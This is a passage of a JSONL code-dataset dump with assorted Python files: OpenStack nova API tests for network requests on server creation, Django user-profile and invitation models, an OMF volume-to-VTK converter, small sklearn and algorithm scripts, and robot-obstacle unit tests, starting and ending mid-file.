len(ele) == 11:\n info.append(ele)\n ele = []\n #ele.append(int(line.split(',')[0].split(':')[1]))\n ele.append(line.split(',')[0].split(':')[1])\n ele.append(line.split(',')[1].split(':')[1])\n else:\n w = line.split('\\t')\n #print(w[2] + '---' + w[3] + '---' + w[4])\n for i in range(3):\n #ele.append(float(w[i+2].split(' ')[1]))\n ele.append(w[i+2].split(' ')[1])\n except Exception as e:\n print(str(line_num) + \":\" + line)\n print(traceback.format_exc())\n line_num += 1\n # for test\n #if line_num == 5:\n # break\n if ele and len(ele) == 11:\n info.append(ele)\n with open(wfilename, 'w') as f:\n for ele in info:\n f.write('{}\\n'.format(' '.join(ele)))\n\ndef main():\n raw_filename = '../bin/bilstmcrf_pretrained/nohup.out.new'\n f1_filename = '../bin/bilstmcrf_pretrained/epoch_score.new'\n process(raw_filename, f1_filename)\n\nif __name__ == \"__main__\":\n main()\n\n","sub_path":"bilstmcrf/analysis_f1_score.py","file_name":"analysis_f1_score.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"388142022","text":"# vim: tabstop=4 shiftwidth=4 softtabstop=4\n\n# Copyright 2010-2011 OpenStack LLC.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\nimport base64\nimport json\nimport unittest\nfrom xml.dom import minidom\n\nimport stubout\nimport webob\n\nfrom nova import exception\nfrom nova import flags\nfrom nova import test\nfrom nova import utils\nimport nova.api.openstack\nfrom nova.api.openstack import servers\nfrom nova.api.openstack.contrib import createserverext\nimport nova.compute.api\n\nimport nova.scheduler.api\nimport nova.image.fake\nimport nova.rpc\nfrom nova.tests.api.openstack import fakes\n\n\nFLAGS = flags.FLAGS\nFLAGS.verbose = True\n\nFAKE_UUID = 'aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa'\n\nFAKE_NETWORKS = [('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', '10.0.1.12'),\n ('bbbbbbbb-bbbb-bbbb-bbbb-bbbbbbbbbbbb', '10.0.2.12')]\n\nDUPLICATE_NETWORKS = [('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', '10.0.1.12'),\n ('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', '10.0.1.12')]\n\nINVALID_NETWORKS = [('invalid', 'invalid-ip-address')]\n\n\nclass CreateserverextTest(test.TestCase):\n\n def setUp(self):\n super(CreateserverextTest, self).setUp()\n self.stubs = stubout.StubOutForTesting()\n fakes.FakeAuthManager.auth_data = {}\n fakes.FakeAuthDatabase.data = {}\n fakes.stub_out_auth(self.stubs)\n fakes.stub_out_image_service(self.stubs)\n fakes.stub_out_key_pair_funcs(self.stubs)\n self.allow_admin = FLAGS.allow_admin_api\n\n def tearDown(self):\n self.stubs.UnsetAll()\n FLAGS.allow_admin_api = self.allow_admin\n super(CreateserverextTest, self).tearDown()\n\n def _setup_mock_compute_api(self):\n\n class MockComputeAPI(nova.compute.API):\n\n def __init__(self):\n self.injected_files = None\n self.networks = None\n\n def create(self, *args, **kwargs):\n if 'injected_files' in kwargs:\n self.injected_files = kwargs['injected_files']\n else:\n self.injected_files = None\n\n if 'requested_networks' in kwargs:\n self.networks = kwargs['requested_networks']\n else:\n self.networks = None\n return [{'id': '1234', 'display_name': 'fakeinstance',\n 'uuid': FAKE_UUID,\n 'created_at': \"\",\n 'updated_at': \"\"}]\n\n def set_admin_password(self, *args, **kwargs):\n pass\n\n def make_stub_method(canned_return):\n def stub_method(*args, **kwargs):\n return canned_return\n return stub_method\n\n compute_api = MockComputeAPI()\n self.stubs.Set(nova.compute, 'API', make_stub_method(compute_api))\n self.stubs.Set(\n nova.api.openstack.create_instance_helper.CreateInstanceHelper,\n '_get_kernel_ramdisk_from_image', make_stub_method((1, 1)))\n return compute_api\n\n def _create_networks_request_dict(self, networks):\n server = {}\n server['name'] = 'new-server-test'\n server['imageRef'] = 1\n server['flavorRef'] = 1\n if networks is not None:\n network_list = []\n for uuid, fixed_ip in networks:\n network_list.append({'uuid': uuid, 'fixed_ip': fixed_ip})\n server['networks'] = network_list\n return {'server': server}\n\n def _get_create_request_json(self, body_dict):\n req = webob.Request.blank('/v1.1/123/os-create-server-ext')\n req.headers['Content-Type'] = 'application/json'\n req.method = 'POST'\n req.body = json.dumps(body_dict)\n return req\n\n def _run_create_instance_with_mock_compute_api(self, request):\n compute_api = self._setup_mock_compute_api()\n response = request.get_response(fakes.wsgi_app())\n return compute_api, response\n\n def _format_xml_request_body(self, body_dict):\n server = body_dict['server']\n body_parts = []\n body_parts.extend([\n '',\n '' % (\n server['name'], server['imageRef'], server['flavorRef'])])\n if 'metadata' in server:\n metadata = server['metadata']\n body_parts.append('')\n for item in metadata.iteritems():\n body_parts.append('%s' % item)\n body_parts.append('')\n if 'personality' in server:\n personalities = server['personality']\n body_parts.append('')\n for file in personalities:\n item = (file['path'], file['contents'])\n body_parts.append('%s' % item)\n body_parts.append('')\n if 'networks' in server:\n networks = server['networks']\n body_parts.append('')\n for network in networks:\n item = (network['uuid'], network['fixed_ip'])\n body_parts.append(''\n % item)\n body_parts.append('')\n body_parts.append('')\n return ''.join(body_parts)\n\n def _get_create_request_xml(self, body_dict):\n req = webob.Request.blank('/v1.1/123/os-create-server-ext')\n req.content_type = 'application/xml'\n req.accept = 'application/xml'\n req.method = 'POST'\n req.body = self._format_xml_request_body(body_dict)\n return req\n\n def _create_instance_with_networks_json(self, networks):\n body_dict = self._create_networks_request_dict(networks)\n request = self._get_create_request_json(body_dict)\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n return request, response, compute_api.networks\n\n def _create_instance_with_networks_xml(self, networks):\n body_dict = self._create_networks_request_dict(networks)\n request = self._get_create_request_xml(body_dict)\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n return request, response, compute_api.networks\n\n def test_create_instance_with_no_networks(self):\n request, response, networks = \\\n self._create_instance_with_networks_json(networks=None)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, None)\n\n def test_create_instance_with_no_networks_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml(networks=None)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, None)\n\n def test_create_instance_with_one_network(self):\n request, response, networks = \\\n self._create_instance_with_networks_json([FAKE_NETWORKS[0]])\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, [FAKE_NETWORKS[0]])\n\n def test_create_instance_with_one_network_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml([FAKE_NETWORKS[0]])\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, [FAKE_NETWORKS[0]])\n\n def test_create_instance_with_two_networks(self):\n request, response, networks = \\\n self._create_instance_with_networks_json(FAKE_NETWORKS)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, FAKE_NETWORKS)\n\n def test_create_instance_with_two_networks_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml(FAKE_NETWORKS)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(networks, FAKE_NETWORKS)\n\n def test_create_instance_with_duplicate_networks(self):\n request, response, networks = \\\n self._create_instance_with_networks_json(DUPLICATE_NETWORKS)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)\n\n def test_create_instance_with_duplicate_networks_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml(DUPLICATE_NETWORKS)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)\n\n def test_create_instance_with_network_no_id(self):\n body_dict = self._create_networks_request_dict([FAKE_NETWORKS[0]])\n del body_dict['server']['networks'][0]['uuid']\n request = self._get_create_request_json(body_dict)\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(compute_api.networks, None)\n\n def test_create_instance_with_network_no_id_xml(self):\n body_dict = self._create_networks_request_dict([FAKE_NETWORKS[0]])\n request = self._get_create_request_xml(body_dict)\n uuid = ' uuid=\"aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa\"'\n request.body = request.body.replace(uuid, '')\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(compute_api.networks, None)\n\n def test_create_instance_with_network_invalid_id(self):\n request, response, networks = \\\n self._create_instance_with_networks_json(INVALID_NETWORKS)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)\n\n def test_create_instance_with_network_invalid_id_xml(self):\n request, response, networks = \\\n self._create_instance_with_networks_xml(INVALID_NETWORKS)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)\n\n def test_create_instance_with_network_empty_fixed_ip(self):\n networks = [('1', '')]\n request, response, networks = \\\n self._create_instance_with_networks_json(networks)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)\n\n def test_create_instance_with_network_non_string_fixed_ip(self):\n networks = [('1', 12345)]\n request, response, networks = \\\n self._create_instance_with_networks_json(networks)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)\n\n def test_create_instance_with_network_empty_fixed_ip_xml(self):\n networks = [('1', '')]\n request, response, networks = \\\n self._create_instance_with_networks_xml(networks)\n self.assertEquals(response.status_int, 400)\n self.assertEquals(networks, None)\n\n def test_create_instance_with_network_no_fixed_ip(self):\n body_dict = self._create_networks_request_dict([FAKE_NETWORKS[0]])\n del body_dict['server']['networks'][0]['fixed_ip']\n request = self._get_create_request_json(body_dict)\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(compute_api.networks,\n [('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', None)])\n\n def test_create_instance_with_network_no_fixed_ip_xml(self):\n body_dict = self._create_networks_request_dict([FAKE_NETWORKS[0]])\n request = self._get_create_request_xml(body_dict)\n request.body = request.body.replace(' fixed_ip=\"10.0.1.12\"', '')\n compute_api, response = \\\n self._run_create_instance_with_mock_compute_api(request)\n self.assertEquals(response.status_int, 202)\n self.assertEquals(compute_api.networks,\n [('aaaaaaaa-aaaa-aaaa-aaaa-aaaaaaaaaaaa', None)])\n","sub_path":"nova/tests/api/openstack/contrib/test_createserverext.py","file_name":"test_createserverext.py","file_ext":"py","file_size_in_byte":12591,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"652887418","text":"def inorderTraversal(self, root: TreeNode) -> List[int]:\n res = []\n\n # def recursion(root):\n # if not root:\n # return\n\n # recursion(root.left)\n # res.append(root.val)\n # recursion(root.right)\n\n # return\n\n # recursion(root)\n # return res\n \n \"\"\"\n 迭代: 先将所有的left node加入到stack中,再取出加入res,之后将right加入到stack中\n O(n), O(n)\n \"\"\"\n from collections import deque\n stack = deque()\n if not root:\n return []\n\n node = root\n\n while stack or node:\n while node:\n stack.append(node)\n node = node.left\n\n node = stack.pop()\n res.append(node.val)\n node = node.right\n\n return res","sub_path":"Week_02/5 二叉树的中序遍历.py","file_name":"5 二叉树的中序遍历.py","file_ext":"py","file_size_in_byte":752,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"613869707","text":"from sklearn.tree import DecisionTreeClassifier\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import classification_report\nfrom numpy import unique\nfrom pandas import DataFrame\nimport data_sets_utils as utils\nimport datetime\n\n\ndef healthy_sets_process():\n print(\"---------------------Healthy Older People Sets(CART in sklearn)------------------------\")\n healthy_data_sets, healthy_labels = utils.get_healthy_data_set()\n healthy_data_df = DataFrame(healthy_data_sets, columns=healthy_labels)\n print(\"All data sets size: \" + str(len(healthy_data_df)))\n target_names = unique(healthy_data_df.iloc[:, -1])\n healthy_data_train_df, healthy_data_test_df = train_test_split(healthy_data_df, test_size=0.3)\n print(\"Train Sets size: \" + str(len(healthy_data_train_df)))\n print(\"Test Sets size: \" + str(len(healthy_data_test_df)))\n tree = DecisionTreeClassifier(criterion=\"gini\")\n fit_begin_time = datetime.datetime.now()\n print(\"Begin Time: \" + str(fit_begin_time))\n tree.fit(healthy_data_train_df.iloc[:, :-1], healthy_data_train_df.iloc[:, -1])\n fit_end_time = datetime.datetime.now()\n print(\"End Time: \" + str(fit_end_time))\n print(\"Training used Time: \" + str(fit_end_time - fit_begin_time))\n y_true = healthy_data_test_df.iloc[:, -1]\n y_pred = tree.predict(healthy_data_test_df.iloc[:, :-1])\n report = classification_report(y_true, y_pred, target_names=target_names)\n print(report)\n\n\ndef dt_sklearn_cart():\n healthy_sets_process()\n\n\n# if __name__ == '__main__':\n# dt_sklearn_cart()\n","sub_path":"decision_tree_sklearn.py","file_name":"decision_tree_sklearn.py","file_ext":"py","file_size_in_byte":1569,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"525801221","text":"import unittest\nfrom io import StringIO\nimport sys\nfrom test_base import run_unittests\nfrom test_base import captured_io\nimport world.obstacles as obstacles\n\n\nclass MyTestCase(unittest.TestCase):\n def test_generate_obstacles(self):\n obstacles.generate_obstacles()\n test_list = obstacles.get_obstacles()\n\n self.assertTrue(0 <= len(test_list) <= 10)\n for item in test_list:\n self.assertTrue(-100 <= item[0] <= 100)\n self.assertTrue(-200 <= item[1] <= 200)\n\n\n def test_is_position_blocked(self):\n test_tuple = (50, -100)\n obstacles.obstacles.clear()\n obstacles.obstacles.append(test_tuple)\n\n self.assertEqual(True, obstacles.is_position_blocked(52, -97))\n self.assertEqual(False, obstacles.is_position_blocked(100, 50))\n\n\n def test_is_path_blocked(self):\n test_tuple = (50, 50)\n test_tuple_2 = (-80, 150)\n obstacles.obstacles.clear()\n obstacles.obstacles.append(test_tuple)\n obstacles.obstacles.append(test_tuple_2)\n\n self.assertEqual(True, obstacles.is_path_blocked(51, 20, 51, 70))\n self.assertEqual(False, obstacles.is_path_blocked(55, 20, 55, 70))\n self.assertEqual(False, obstacles.is_path_blocked(49, 20, 49, 70))\n self.assertEqual(True, obstacles.is_path_blocked(54, 60, 54, 10))\n self.assertEqual(False, obstacles.is_path_blocked(-90, 149, -50, 149))\n self.assertEqual(True, obstacles.is_path_blocked(-100, 152, 0, 152))\n","sub_path":"submission_002-robot-4/test_obstacles.py","file_name":"test_obstacles.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"403636392","text":"from __future__ import unicode_literals\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.contrib.auth.models import User\nfrom django.db import models\nfrom django.utils import timezone\nfrom datetime import datetime as dt\nfrom utils.hasher import HashHelper\nimport uuid\nfrom .exceptions import EmailAlreadyUsed, UserAlreadyInvited\n\n\nclass Tag(models.Model):\n name = models.TextField(_('Name'), max_length=200, null=False, blank=False)\n\n @classmethod\n def create(cls, name):\n tag = Tag(name=name)\n tag.save()\n return tag\n\n\nclass SourceOfInspiration(models.Model):\n name = models.TextField(_('Name'), max_length=200, null=False, blank=False)\n\n @classmethod\n def create(cls, name):\n source = SourceOfInspiration(name=name)\n source.save()\n return source\n\n\nclass Profile(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n picture = models.ImageField(_('Picture'), upload_to='images/profile', null=True, blank=True)\n gender = models.TextField(_('Gender'), max_length=500, null=True, blank=True)\n city = models.TextField(_('City'), max_length=500, null=True, blank=True)\n occupation = models.TextField(_('Occupation'), max_length=500, null=True, blank=True)\n birthdate = models.DateTimeField(_('Birth Date'), blank=True, null=True)\n\n twitter_username = models.TextField(_('Twitter Username'), max_length=100, blank=True, null=True)\n place = models.TextField(_('Place'), max_length=500, blank=True, null=True)\n\n statement = models.TextField(_('Statement'), blank=True, null=True)\n role = models.TextField(_('Role'), max_length=200, null=True, blank=True, default='')\n organization = models.TextField(_('Organization'), max_length=200, null=True, blank=True, default='')\n sector = models.TextField(_('Sector'), max_length=200, null=True, blank=True, default='')\n types_of_innovation = models.TextField(_('Types of Innovation'), max_length=200, null=True, blank=True, default='')\n size = models.TextField(_('Size'), max_length=200, null=True, blank=True, default='')\n technical_expertise = models.TextField(_('Technical Expertise'), max_length=200, null=True, blank=True, default='')\n\n tags = models.ManyToManyField(Tag, related_name='profile_tags')\n source_of_inspiration = models.ManyToManyField(SourceOfInspiration, related_name='profile_sourceofinspiration')\n\n socialLinks = models.TextField(\n _('Social Links'),\n max_length=200,\n null=True,\n blank=True,\n default='[{\"name\":\"twitter\",\"link\":\"\"},{\"name\":\"google-plus\",\"link\":\"\"},{\"name\":\"facebook\",\"link\":\"\"}]'\n )\n\n # Reset Password\n reset_token = models.TextField(max_length=200, null=True, blank=True)\n update_token_at = models.DateTimeField(default=None, null=True, blank=True)\n ask_reset_at = models.DateTimeField(default=dt.now, null=True, blank=True)\n\n def __str__(self):\n return \"%s %s\" % (self.get_name(), self.get_last_name())\n \n def __repr__(self):\n return self.__str__()\n\n class Meta:\n ordering = ('user',)\n\n @classmethod\n def create(cls, email, first_name, last_name, picture, password=None, gender=None,\n birthdate=None, city=None, occupation=None, twitter_username=None, place=None):\n\n try:\n user = User.objects.get(email=email)\n except User.DoesNotExist:\n user = User.objects.create_user(username=email,\n email=email,\n password=password,\n first_name=first_name,\n last_name=last_name\n )\n user.is_active = False\n user.save()\n\n try:\n profile = Profile.objects.get(user=user)\n except Profile.DoesNotExist:\n profile = cls(user=user)\n profile.picture = picture\n profile.gender = gender\n profile.birthdate = birthdate\n profile.city = city\n profile.occupation = occupation\n profile.twitter_username = twitter_username\n profile.place = place\n profile.save()\n if not user.is_active:\n profile.reset_token = Profile.get_new_reset_token()\n profile.save()\n return profile\n raise EmailAlreadyUsed\n\n def send_email(self, subject, message):\n \"\"\"\n Send Async Email to the user\n :param subject: Subject of the email\n :param message: Email Content\n :return: Nothing\n \"\"\"\n import threading\n thr = threading.Thread(target=Profile._send_email,\n kwargs=dict(message=message,\n subject=subject,\n receiver_name=self.user.get_full_name(),\n receiver_email=self.user.email\n ))\n thr.start()\n\n def get_name(self):\n import unicodedata\n return unicodedata.normalize('NFKD', self.user.first_name).encode('ascii', 'ignore')\n \n def get_lastname(self):\n import unicodedata\n return unicodedata.normalize('NFKD', self.user.last_name).encode('ascii', 'ignore')\n\n @staticmethod\n def _send_email(subject, message, receiver_name, receiver_email):\n \"\"\"\n Send Email method\n :param subject: Subject of the email\n :param message: Email Content\n :param receiver_name: Name of the receiver\n :param receiver_email: Email of the receiver\n :return: Nothing\n \"\"\"\n from utils.mailer import EmailHelper\n EmailHelper.send_email(message=message,\n subject=subject,\n receiver_name=receiver_name,\n receiver_email=receiver_email)\n\n @staticmethod\n def get_new_reset_token():\n \"\"\"\n Generate a new reset Token\n :return: String\n \"\"\"\n return str(uuid.uuid4())\n\n def update_reset_token(self):\n \"\"\"\n Generate a new reset Token\n :return: String\n \"\"\"\n import pytz\n self.reset_token = (uuid.uuid4())\n self.update_token_at = pytz.utc.localize(dt.now())\n self.save()\n\n @classmethod\n def search_members(cls, search_string):\n from django.db.models import Q\n return cls.objects\\\n .filter(Q(user__email__icontains=search_string) |\n Q(user__first_name__icontains=search_string) |\n Q(user__last_name__icontains=search_string) |\n Q(tags__name__icontains=search_string) |\n Q(twitter_username__icontains=search_string) |\n Q(occupation__icontains=search_string) |\n Q(city__icontains=search_string))\\\n .distinct()\n\n @classmethod\n def get_last_n_members(cls, n):\n return cls.objects.order_by('-user__date_joined')[:n]\n\n @classmethod\n def get_by_email(cls, email):\n return cls.objects.get(user__email=email)\n\n @classmethod\n def get_by_id(cls, profile_id):\n return cls.objects.get(id=profile_id)\n\n @classmethod\n def get_hot_tags(cls, tag_number=4):\n from itertools import chain\n from collections import Counter\n tags = chain.from_iterable([map(lambda t: t['name'], tag) for tag in map(lambda p: p.tags.values(),\n Profile.objects.all())])\n hot = Counter(tags).most_common(int(tag_number))\n return hot\n\n @classmethod\n def get_sectors(cls):\n from collections import Counter\n flat_sectors = filter(lambda x: x is not None and x.strip() != '', Profile.objects.values_list('sector',\n flat=True))\n sectors = Counter(flat_sectors).most_common(1000)\n return sectors\n\n @classmethod\n def get_places(cls):\n places = filter(lambda x: x is not None, Profile.objects.values_list('place', flat=True))\n return places\n\n\nclass Invitation(models.Model):\n\n profile = models.ForeignKey(Profile, on_delete=models.CASCADE, null=True)\n\n sender_email = models.EmailField(_('Sender email address'), max_length=254)\n sender_first_name = models.TextField(_('Sender first name'), max_length=200, null=False, blank=False, default='--')\n sender_last_name = models.TextField(_('Sender last name'), max_length=200, null=False, blank=False, default='--')\n\n receiver_email = models.EmailField(_('Receiver email address'), max_length=254)\n receiver_first_name = models.TextField(_('Receiver first name'), max_length=200, null=False, blank=False, default='--')\n receiver_last_name = models.TextField(_('Receiver last name'), max_length=200, null=False, blank=False, default='--')\n\n sender_verified = models.BooleanField(default=True)\n\n created_at = models.DateTimeField(default=timezone.now)\n\n @classmethod\n def create(cls, user, sender_email, sender_first_name, sender_last_name, receiver_email, receiver_first_name,\n receiver_last_name, sender_verified=True):\n try:\n Invitation.objects.get(receiver_email=HashHelper.md5_hash(receiver_email))\n raise UserAlreadyInvited\n except Invitation.DoesNotExist:\n pass\n try:\n user = User.objects.get(email=receiver_email)\n raise EmailAlreadyUsed\n except User.DoesNotExist:\n pass\n\n try:\n profile = Profile.objects.get(user=user)\n except Profile.DoesNotExist:\n profile = None\n \n invitation = cls(profile=profile,\n sender_email=HashHelper.md5_hash(sender_email) if not profile else sender_email,\n sender_first_name=HashHelper.md5_hash(sender_first_name) if not profile else sender_first_name,\n sender_last_name=HashHelper.md5_hash(sender_last_name) if not profile else sender_last_name,\n receiver_first_name=HashHelper.md5_hash(receiver_first_name),\n receiver_last_name=HashHelper.md5_hash(receiver_last_name),\n receiver_email=HashHelper.md5_hash(receiver_email),\n sender_verified=sender_verified)\n invitation.save()\n return invitation\n\n\nclass Feedback(models.Model):\n user = models.ForeignKey(User)\n title = models.CharField(_('Title'), max_length=100)\n message_text = models.TextField(_('Message'), max_length=500)\n created_at = models.DateTimeField(default=dt.now)\n\n class Meta:\n ordering = ('created_at', 'title',)\n\n @classmethod\n def create(cls, user, title, message_text):\n model = cls(cls, user, title, message_text)\n return model\n\n def __str__(self):\n return self.message_text\n","sub_path":"dashboard/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":11102,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"330415526","text":"\n\n#calss header\nclass _PALETTE():\n\tdef __init__(self,): \n\t\tself.name = \"PALETTE\"\n\t\tself.definitions = [u'a thin board with curved edges and a hole for your thumb, used by artists to mix their paints on while they are painting', u'the range of colours that an artist usually paints with: ']\n\n\t\tself.parents = []\n\t\tself.childen = []\n\t\tself.properties = []\n\t\tself.jsondata = {}\n\n\n\t\tself.specie = 'nouns'\n\n\n\tdef run(self, obj1 = [], obj2 = []):\n\t\treturn self.jsondata\n","sub_path":"xai/brain/wordbase/nouns/_palette.py","file_name":"_palette.py","file_ext":"py","file_size_in_byte":464,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"142503720","text":"\"\"\"volume.py: Volume element and geometry\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport numpy as np\nimport properties\n\nfrom .base import ProjectElement, ProjectElementGeometry\n\n\nclass VolumeGridGeometry(ProjectElementGeometry):\n \"\"\"Contains spatial information of a 3D grid volume.\"\"\"\n tensor_u = properties.Array(\n 'Tensor cell widths, u-direction',\n shape=('*',),\n dtype=float\n )\n tensor_v = properties.Array(\n 'Tensor cell widths, v-direction',\n shape=('*',),\n dtype=float\n )\n tensor_w = properties.Array(\n 'Tensor cell widths, w-direction',\n shape=('*',),\n dtype=float\n )\n axis_u = properties.Vector3(\n 'Vector orientation of u-direction',\n default='X',\n length=1\n )\n axis_v = properties.Vector3(\n 'Vector orientation of v-direction',\n default='Y',\n length=1\n )\n axis_w = properties.Vector3(\n 'Vector orientation of w-direction',\n default='Z',\n length=1\n )\n\n _valid_locations = ('vertices', 'cells')\n\n def location_length(self, location):\n \"\"\"Return correct data length based on location\"\"\"\n if location == 'cells':\n return self.num_cells\n return self.num_nodes\n\n @property\n def num_nodes(self):\n \"\"\"Number of nodes (vertices)\"\"\"\n return ((len(self.tensor_u)+1) * (len(self.tensor_v)+1) *\n (len(self.tensor_w)+1))\n\n @property\n def num_cells(self):\n \"\"\"Number of cells\"\"\"\n return len(self.tensor_u) * len(self.tensor_v) * len(self.tensor_w)\n\n @property\n def shape(self):\n return ( len(self.tensor_u), len(self.tensor_v), len(self.tensor_w))\n\n @properties.validator\n def _validate_mesh(self):\n \"\"\"Check if mesh content is built correctly\"\"\"\n if not (np.abs(self.axis_u.dot(self.axis_v) < 1e-6) and #pylint: disable=no-member\n np.abs(self.axis_v.dot(self.axis_w) < 1e-6) and #pylint: disable=no-member\n np.abs(self.axis_w.dot(self.axis_u) < 1e-6)): #pylint: disable=no-member\n raise ValueError('axis_u, axis_v, and axis_w must be orthogonal')\n return True\n\n def toVTK(self):\n \"\"\"Convert the 3D gridded volume to a ``vtkStructuredGrid``\n (or a ``vtkRectilinearGrid`` when apprropriate) object contatining the\n 2D surface.\n \"\"\"\n import vtk\n from vtk.util import numpy_support as nps\n\n self._validate_mesh()\n\n ox, oy, oz = self.origin\n\n def checkOrientation():\n if np.allclose(self.axis_u, (1, 0, 0)) and np.allclose(self.axis_v, (0, 1, 0)) and np.allclose(self.axis_w, (0, 0, 1)):\n return True\n return False\n\n def rotationMatrix():\n # TODO: is this correct?\n return np.array([self.axis_u, self.axis_v, self.axis_w])\n\n # Make coordinates along each axis\n x = ox + np.cumsum(self.tensor_u)\n x = np.insert(x, 0, ox)\n y = oy + np.cumsum(self.tensor_v)\n y = np.insert(y, 0, oy)\n z = oz + np.cumsum(self.tensor_w)\n z = np.insert(z, 0, oz)\n\n # If axis orientations are standard then use a vtkRectilinearGrid\n if checkOrientation():\n output = vtk.vtkRectilinearGrid()\n output.SetDimensions(len(x), len(y), len(z)) # note this subtracts 1\n output.SetXCoordinates(nps.numpy_to_vtk(num_array=x))\n output.SetYCoordinates(nps.numpy_to_vtk(num_array=y))\n output.SetZCoordinates(nps.numpy_to_vtk(num_array=z))\n return output\n\n # Otherwise use a vtkStructuredGrid\n output = vtk.vtkStructuredGrid()\n output.SetDimensions(len(x), len(y), len(z)) # note this subtracts 1\n\n # Build out all nodes in the mesh\n xx, yy, zz = np.meshgrid(x, y, z, indexing='ij')\n points = np.stack((xx.flatten(), yy.flatten(), zz.flatten())).T\n\n # Rotate the points based on the axis orientations\n rmtx = rotationMatrix()\n points = points.dot(rmtx)\n\n # Convert points to vtk object\n pts = vtk.vtkPoints()\n pts.SetNumberOfPoints(len(points))\n pts.SetData(nps.numpy_to_vtk(points))\n # Now build the output\n output.SetPoints(pts)\n\n return output\n\n\nclass VolumeElement(ProjectElement):\n \"\"\"Contains mesh, data, and options of a volume\"\"\"\n geometry = properties.Instance(\n 'Structure of the volume element',\n instance_class=VolumeGridGeometry\n )\n subtype = properties.StringChoice(\n 'Category of Volume',\n choices=('volume',),\n default='volume'\n )\n\n def toVTK(self):\n \"\"\"Convert the volume element to a VTK data object.\"\"\"\n from vtk.util import numpy_support as nps\n output = self.geometry.toVTK()\n shp = self.geometry.shape\n # Add data to output\n for data in self.data:\n arr = data.array.array\n arr = np.reshape(arr, shp).flatten(order='F')\n c = nps.numpy_to_vtk(num_array=arr, deep=True)\n c.SetName(data.name)\n output.GetCellData().AddArray(c)\n return output\n","sub_path":"omf/volume.py","file_name":"volume.py","file_ext":"py","file_size_in_byte":5344,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"480204609","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Mar 5 19:57:56 2021\n\n@author: Kim\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport os\nimport matplotlib.pyplot as plt\nfrom sklearn.metrics import mean_squared_error\nfrom math import sqrt\n\nplt.rcParams[\"font.family\"] = \"Times New Roman\"\n#font = {'fontname':'Comic Sans MS'} \ntargets = [0,1,2,3,4]\nparam = ['ECA', 'ThickA', 'ECB', 'ThickB', 'ECC']\n#############################################################################\n#Choose between full range or restricted case\n############################################################################\nres = 0 # 1 means restricted and anything else is the full range\n\n#for it,itar in zip(targets,param):\nkey = 0\ntrgt = key\ntar = param[key]\n\nrang = '1.45_FSA'\nos.chdir('extra')\n\nif res == 1:\n full = pd.concat(map(pd.read_csv, ['res_TrueVsPre_Tar' +str(trgt)+ '_R0.csv', \n 'res_TrueVsPre_Tar' +str(trgt)+ '_R1.csv',\n 'res_TrueVsPre_Tar' +str(trgt)+ '_R2.csv',\n 'res_TrueVsPre_Tar' +str(trgt)+ '_R3.csv',\n 'res_TrueVsPre_Tar' +str(trgt)+ '_R4.csv']\n ))\n full = full.drop(columns='Unnamed: 0')\nelse:\n full = pd.concat(map(pd.read_csv, ['{}_TrueVsPre_Tar{}_R0.csv'.format(rang,trgt), \n '{}_TrueVsPre_Tar{}_R1.csv'.format(rang,trgt),\n 